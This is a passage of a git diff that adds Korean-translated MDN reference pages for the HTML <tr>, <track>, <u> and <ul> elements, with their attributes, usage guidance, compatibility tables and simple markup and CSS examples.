+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>, aligning the content to the left of the cells</li>
+ <li><code>center</code>, centering the content in the cells</li>
+ <li><code>right</code>, aligning the content to the right of the cells</li>
+ <li><code>justify</code>, widening the spaces in the textual content so that the content is justified in the cells</li>
+ <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{htmlattrxref("char", "tr")}} and {{htmlattrxref("charoff", "tr")}} attributes {{unimplemented_inline("2212")}}.</li>
+ </ul>
+
+ <p>If this attribute is not set, the parent node's value is inherited.</p>
+
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+ <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values, use the CSS {{cssxref("text-align")}} property on it.</li>
+ <li>To achieve the same effect as the <code>char</code> value, in CSS3, you can use the value of the {{htmlattrxref("char", "tr")}} as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute defines the background color of each cell of the row. It can be either an <a href="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="CSS/color value#HTML.2fSVG.2fX11.c2.a0 Color Keywords">#RRGGBB code</a> or an <a href="/#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="#HTML.2fSVG.2fX11.c2.a0 Color Keywords">SVG color keyword</a>.
+ <div class="note"><strong>Usage note: </strong>the {{HTMLElement("tr")}} element should be styled using <a href="/en-US/docs/CSS" title="CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en-US/docs/CSS" title="CSS">CSS</a> property {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "tr")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{htmlattrxref("char", "tr")}}, in CSS3, you can use the character set using the {{htmlattrxref("char", "tr")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+ <li><code>middle</code>, which will center the text in the cell;</li>
+ <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{cssxref("vertical-align")}} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>This element implements the {{domxref("HTMLTableRowElement")}} interface.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>See {{HTMLElement("table")}} for examples on <code>&lt;tr&gt;</code>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>align/valign</code> 속성</td>
+ <td>1.0</td>
+ <td>{{CompatNo}} {{bug("915")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>char/charoff</code> 속성</td>
+ <td>1.0</td>
+ <td>{{CompatNo}} {{bug("2212")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>bgcolor</code> 속성 {{Non-standard_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>align/valign</code> 속성</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}} {{bug("915")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>char/charoff</code> 속성</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}} {{bug("2212")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>bgcolor</code> 속성 {{Non-standard_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <code>&lt;tr&gt;</code> element:
+ <ul>
+ <li>the {{cssxref(":nth-child")}} pseudo-class to set the alignment on the cells of the column;</li>
+ <li>the {{cssxref("text-align")}} property to align all cells content on the same character, like '.'.&lt;</li>
+ </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/track/index.html b/files/ko/web/html/element/track/index.html
new file mode 100644
index 0000000000..02726500ed
--- /dev/null
+++ b/files/ko/web/html/element/track/index.html
@@ -0,0 +1,175 @@
+---
+title: '<track>: 텍스트 트랙 삽입 요소'
+slug: Web/HTML/Element/track
+tags:
+ - Accessibility
+ - Element
+ - HTML
+ - HTML embedded content
+ - HTML5
+ - Multimedia
+ - Reference
+ - Web
+ - 자막
+translation_of: Web/HTML/Element/track
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;track&gt;</code> 요소</strong>는 미디어 요소({{HTMLElement("audio")}}, {{HTMLElement("video")}})의 자식으로서, 자막 등 시간별 텍스트 트랙(시간 기반 데이터)를 지정할 때 사용합니다.</span> 트랙은 <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a>(Web Video Text Tracks, <code>.vtt</code> 파일) 또는 <a href="https://w3c.github.io/ttml2/index.html">Timed Text Markup Language(TTML)</a>형식을 사용해야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/track.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>미디어 요소. 다른 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 자식보다 앞에 위치해야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTrackElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>사용자 설정이 다른 자막을 가리키지 않는다면 활성화할 기본 트랙을 나타냅니다. 하나의 미디어 요소 당 하나의 <code>&lt;track&gt;</code> 요소에만 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("kind")}}</dt>
+ <dd>텍스트 트랙의 종류. 생략할 경우 <code>subtitles</code>로 간주합니다. 유효하지 않은 값을 가진 경우 <code>metadata</code>로 간주합니다. (Chrome 52 미만에서는 <code>subtitles</code>) 가능한 키워드는 다음과 같습니다.
+ <ul>
+ <li><code>subtitles</code>
+ <ul>
+ <li>자막은 시청자가 이해할 수 없는 언어에 대한 번역을 제공합니다. 예를 들면, 비영어권 시청자에게 영어 영상을 보여줄 때 제공할 대화문이나 텍스트 등입니다.</li>
+ <li>자막은 배경 설명과 같은 추가 콘텐츠를 포함할 수 있습니다. 예를 들면, 스타워즈 영화 오프닝 텍스트, 혹은 현재 장면의 날짜와 시간, 장소 등입니다.</li>
+ </ul>
+ </li>
+ <li><code>captions</code>
+ <ul>
+ <li>폐쇄자막은 오디오 트랜스크립션을 제공하며, 번역도 포함할 수 있습니다.</li>
+ <li>음악 신호, 소리 효과와 같은 비언어적 소리 효과도 나타낼 수 있습니다. 효과의 원인(음악, 글자, 등장인물...)도 설명할 수 있습니다.</li>
+ <li>음소거로 시청하는 경우와 청각 장애를 가진 시청자에게 적합합니다.</li>
+ </ul>
+ </li>
+ <li><code>descriptions</code>
+ <ul>
+ <li>비디오 콘텐츠의 텍스트 설명입니다.</li>
+ <li>비디오를 볼 수 없는 환경과 시각 장애를 가진 시청자에게 적합합니다.</li>
+ </ul>
+ </li>
+ <li><code>chapters</code>
+ <ul>
+ <li>챕터 타이틀은 미디어 리소스를 탐색할 때 사용합니다.</li>
+ </ul>
+ </li>
+ <li><code>metadata</code>
+ <ul>
+ <li>트랙을 스크립트가 사용합니다. 사용자에게 보이지 않습니다.</li>
+ </ul>
+ </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>사용자가 읽을 수 있는 형태의 텍스트 트랙 제목. 브라우저에서 사용 가능한 트랙의 이름 목록을 생성할 때 사용합니다.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>자막의 주소(<code>.vtt</code> 파일). 유효한 {{glossary("URL")}}이어야 합니다. 필수 특성이며, <code>&lt;track&gt;</code>의 부모 {{htmlelement("audio")}}/{{htmlelement("video")}} 요소에 <code><a href="/ko/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> 특성이 없다면 문서와 같은 {{glossary("origin", "출처")}}여야 합니다.</dd>
+ <dt>{{htmlattrdef("srclang")}}</dt>
+ <dd>텍스트 트랙의 언어. 유효한 <a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">IETF 언어 태그</a>여야 합니다. <code>kind</code> 특성이 <code>subtitle</code>인 경우 필수 항목입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="트랙_데이터_유형">트랙 데이터 유형</h3>
+
+<p><code>&lt;track&gt;</code> 요소가 미디어에 추가하는 데이터의 유형은 <code>kind</code> 특성으로 나타낼 수 있습니다. 사용자가 추가 데이터를 요청하는 경우, 브라우저는 <code>&lt;track&gt;</code> 요소가 가리키는 시간별 텍스트 데이터를 보여줍니다.</p>
+
+<p>미디어 요소는 동일한 <code>kind</code>, <code>srclang</code>, <code>label</code>을 가진 <code>&lt;track&gt;</code>을 하나보다 많이 포함할 수 없습니다.</p>
+
+<div class="hidden">
+<h3 id="Detecting_cue_changes">Detecting cue changes</h3>
+
+<p>{{page("/en-US/docs/Web/API/TextTrack/cuechange_event", "On the track element")}}</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;video controls poster="/images/sample.gif"&gt;
+ &lt;source src="sample.mp4" type="video/mp4"&gt;
+ &lt;source src="sample.ogv" type="video/ogv"&gt;
+ &lt;track kind="captions" src="sampleCaptions.vtt" srclang="en"&gt;
+ &lt;track kind="descriptions"
+ src="sampleDescriptions.vtt" srclang="en"&gt;
+ &lt;track kind="chapters" src="sampleChapters.vtt" srclang="en"&gt;
+ &lt;track kind="subtitles" src="sampleSubtitles_de.vtt" srclang="de"&gt;
+ &lt;track kind="subtitles" src="sampleSubtitles_en.vtt" srclang="en"&gt;
+ &lt;track kind="subtitles" src="sampleSubtitles_ja.vtt" srclang="ja"&gt;
+ &lt;track kind="subtitles" src="sampleSubtitles_oz.vtt" srclang="oz"&gt;
+ &lt;track kind="metadata" src="keyStage1.vtt" srclang="en"
+ label="Key Stage 1"&gt;
+ &lt;track kind="metadata" src="keyStage2.vtt" srclang="en"
+ label="Key Stage 2"&gt;
+ &lt;track kind="metadata" src="keyStage3.vtt" srclang="en"
+ label="Key Stage 3"&gt;
+ &lt;!-- Fallback --&gt;
+ ...
+&lt;/video&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','embedded-content.html#the-track-element','track element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "semantics-embedded-content.html#the-track-element", "track element")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.track")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/WebVTT">WebVTT 텍스트 트랙 형식</a></li>
+ <li>{{domxref("HTMLMediaElement.textTracks")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/u/index.html b/files/ko/web/html/element/u/index.html
new file mode 100644
index 0000000000..79d516a41f
--- /dev/null
+++ b/files/ko/web/html/element/u/index.html
@@ -0,0 +1,206 @@
+---
+title: <u>
+slug: Web/HTML/Element/u
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/u
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;u&gt;</code> 요소</strong>는 글자로 표현하지 않는 주석을 가진 것으로 렌더링 해야 하는 텍스트를 나타냅니다.</span> 기본값에서는 단순한 밑줄로 표시하지만 CSS를 사용해 바꿀 수 있습니다.</p>
+
+<div class="blockIndicator warning">
+<p><code>&lt;u&gt;</code> 요소는 과거 HTML에서 밑줄(Underline) 요소로 불렸으며 지금도 밑줄을 추가할 목적으로 남용하는 경우가 있습니다. 그러나 밑줄을 위해서는 CSS {{cssxref("text-decoration")}} 속성을 <code>underline</code>으로 지정하는 방법을 대신 사용해야 합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/u.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>다른 순수 스타일 요소와 마찬가지로, 원래의 HTML 밑줄 요소(<code>&lt;u&gt;</code>)는 HTML 4부터 사용을 중단했으나, HTML 5에서 새로운 의미를 얻으며 돌아왔습니다. HTML 5에서 <code>&lt;u&gt;</code> 요소는 텍스트가 일종의 문자가 아닌 주석을 가지고 있음을 나타냅니다.</p>
+
+<div class="blockIndicator note">
+<p><code>&lt;u&gt;</code>와 하이퍼링크 둘 다 기본 스타일이 밑줄이므로, <code>&lt;u&gt;</code>를 기본 스타일로 사용하는건 피해야 합니다.</p>
+</div>
+
+<h3 id="사용처">사용처</h3>
+
+<p><code>&lt;u&gt;</code> 요소의 유효한 사용처는 철자 오류 강조, <a href="https://en.wikipedia.org/wiki/Proper_name_mark">중국어의 고유명사 표시</a> 등이 있습니다.</p>
+
+<p><code>&lt;u&gt;</code>를 사용해 밑줄만 추가하거나, 책 제목 등을 강조해서는 안됩니다.</p>
+
+<h3 id="고려할만한_다른_요소">고려할만한 다른 요소</h3>
+
+<p>대부분의 경우 <code>&lt;u&gt;</code> 대신 다른 요소를 사용해야 합니다.</p>
+
+<ul>
+ <li>{{htmlelement("em")}} 요소는 강세를 나타냅니다.</li>
+ <li>{{htmlelement("b")}} 요소는 사용자의 주의를 텍스트로 돌립니다.</li>
+ <li>{{htmlelement("mark")}} 요소는 관련성을 나타냅니다.</li>
+ <li>{{htmlelement("strong")}} 요소는 강한 중요성을 나타냅니다.</li>
+ <li>{{htmlelement("cite")}} 요소는 책, 공연, 음악 등 저작물의 이름을 나타냅니다.</li>
+ <li>{{htmlelement("i")}} 요소는 기술 용어, 외국어, 등장인물의 생각 등을 나타냅니다.</li>
+</ul>
+
+<p><code>&lt;u&gt;</code>가 비 텍스트 표기라면, {{htmlelement("ruby")}}는 텍스트 표기를 제공합니다.</p>
+
+<p>별도의 의미 없이 밑줄만 추가하려면 CSS {{cssxref("text-decoration")}} 속성의 값을 <code>underline</code>으로 지정하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="맞춤법_오류_표시">맞춤법 오류 표시</h3>
+
+<p>이번 예제는 <code>&lt;u&gt;</code>와 약간의 CSS를 사용해, 문단에서 철자 오류가 존재하는 부분을 빨간색 물결 밑줄로 표시합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;맞춤법을 틀리면 &lt;u class="spelling"&gt;않돼요&lt;/u&gt;.&lt;/p&gt;</pre>
+
+<p><code>spelling</code> 클래스를 가진 <code>&lt;u&gt;</code> 요소가 "안돼요"의 잘못된 철자를 나타내고 있음을 볼 수 있습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">u.spelling {
+ text-decoration: red wavy underline;
+}</pre>
+
+<p>CSS는 <code>spelling</code> 클래스를 가진 <code>&lt;u&gt;</code> 요소에 빨간 물결 밑줄을 적용하고 있습니다. 빨간 물결 밑줄은 맞춤법 오류를 표시할 때 흔히 쓰이는 스타일입니다. 또 다른 스타일은 <code>red dashed underline</code>입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>최근 워드 프로세서를 사용해본 경우 친숙한 모습일 것입니다.</p>
+
+<p>{{EmbedLiveSample("맞춤법_오류_표시", 650, 80)}}</p>
+
+<h3 id="&lt;u>_피하기"><code>&lt;u&gt;</code> 피하기</h3>
+
+<p>대부분의 경우, 사실 <code>&lt;u&gt;</code> 요소를 피하는게 좋습니다. 다음은 다른 요소를 사용해야 하는 몇 가지 경우입니다.</p>
+
+<h4 id="의미를_가지지_않는_밑줄">의미를 가지지 않는 밑줄</h4>
+
+<p>아무런 의미를 나타내지 않고 밑줄만 추가할 경우 {{HTMLElement("span")}} 요소를 사용하고, {{cssxref("text-decoration")}} 속성의 값은 <code>underline</code>으로 지정하세요.</p>
+
+<h5 id="HTML_2">HTML</h5>
+
+<pre class="brush: html">&lt;span class="underline"&gt;Today's Special&lt;/span&gt;
+&lt;br&gt;
+Chicken Noodle Soup With Carrots</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css">.underline {
+ text-decoration: underline;
+}</pre>
+
+<h5 id="Result">Result</h5>
+
+<p>{{EmbedLiveSample("의미를_가지지_않는_밑줄", 650, 80)}}</p>
+
+<h4 id="책_제목_표현하기">책 제목 표현하기</h4>
+
+<div id="example-unstyled-cite">
+<p>책 제목은 <code>&lt;u&gt;</code> 대신 {{htmlelement("cite")}}를 사용해 나타내야 합니다.</p>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;The class read &lt;cite&gt;Moby Dick&lt;/cite&gt; in the first term.&lt;/p&gt;</pre>
+
+<h5 id="기본_스타일_결과">기본 스타일 결과</h5>
+
+<p>{{EmbedLiveSample("example-unstyled-cite", 650, 80)}}</p>
+</div>
+
+<p><code>&lt;cite&gt;</code> 요소의 기본 스타일은 기울임꼴을 적용합니다. 원한다면 CSS를 사용해 재정의할 수 있습니다.</p>
+
+<pre class="brush: css">cite {
+ font-style: normal;
+ text-decoration: underline;
+}</pre>
+
+<h5 id="사용자_지정_스타일_결과">사용자 지정 스타일 결과</h5>
+
+<p>{{EmbedLiveSample("Presenting_a_book_title", 650, 80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.u")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>보통 {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}}, {{HTMLElement("cite")}} 요소를 사용하는 편이 더 적합합니다.</li>
+ <li>특별한 의미를 가지지 않는 밑줄은 CSS {{cssxref("text-decoration")}} 속성을 사용해야 합니다.</li>
+</ul>
diff --git a/files/ko/web/html/element/ul/index.html b/files/ko/web/html/element/ul/index.html
new file mode 100644
index 0000000000..b3a33aa627
--- /dev/null
+++ b/files/ko/web/html/element/ul/index.html
@@ -0,0 +1,188 @@
+---
+title: <ul>
+slug: Web/HTML/Element/ul
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/ul
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ul&gt;</code> 요소</strong>는 정렬되지 않은 목록을 나타냅니다. 보통 불릿으로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ul.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 또한, 최소 하나의 {{htmlelement("li")}} 요소를 자식으로 둔다면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>0개 이상의 {{htmlelement("li")}}, {{htmlelement("script")}}, {{htmlelement("template")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLUListElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<dl>
+ <dt>{{ htmlattrdef("compact") }} {{Deprecated_inline}}</dt>
+ <dd>This Boolean attribute hints that the list should be rendered in a compact style. The interpretation of this attribute depends on the {{glossary("user agent")}}, and it doesn't work in all browsers.</dd>
+ <dd>
+ <div class="warning"><strong>Warning:</strong> Do not use this attribute, as it has been deprecated: use <a href="/en-US/docs/CSS">CSS</a> instead. To give a similar effect as the <code>compact</code> attribute, the CSS property {{cssxref("line-height")}} can be used with a value of <code>80%</code>.</div>
+ </dd>
+</dl>
+
+<dl>
